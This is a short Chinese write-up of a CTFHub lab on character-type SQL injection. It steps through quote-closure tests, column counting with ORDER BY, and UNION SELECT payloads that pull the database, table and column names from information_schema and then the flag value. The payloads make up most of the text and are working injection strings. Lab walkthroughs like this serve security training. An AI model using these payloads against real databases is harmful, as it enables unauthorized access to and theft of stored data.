一.实验环境是ctfhub技能树
二.首先进行判断
所有字符均是英文字符
提示:字符型注入需要考虑到引号闭合和注释(注释方式有两种一个是#还有一个是–+)
**1.**输入一个1’ 可以看到返回正常
继续输入一个1’ and 1=1 # 可以看到回显正常
继续输入1’ and 1=2 # 可以看到回显异常
**2.**进行判断字段
输入1’ order by 1 # 回显正常
输入1’ order by 2 #回显正常
输入1’ order by 3 #回显错误
判断出只有两个字段
**3.**爆库名
1’ and 1=2 union select 1,database() #
爆出库名为sqli
**4.**爆表名
1’ and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘sqli’) #
爆出的表名为flag
**5.**爆列名
1’ and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’) #
爆出的列名为flag
**6.**爆数据
1’ and 1=2 union select 1,(select flag from sqli.flag) #
ok了
如有错误评论或者私聊我。。。。。。。。。。。
SQL字符型注入练习
最新推荐文章于 2024-04-24 15:31:18 发布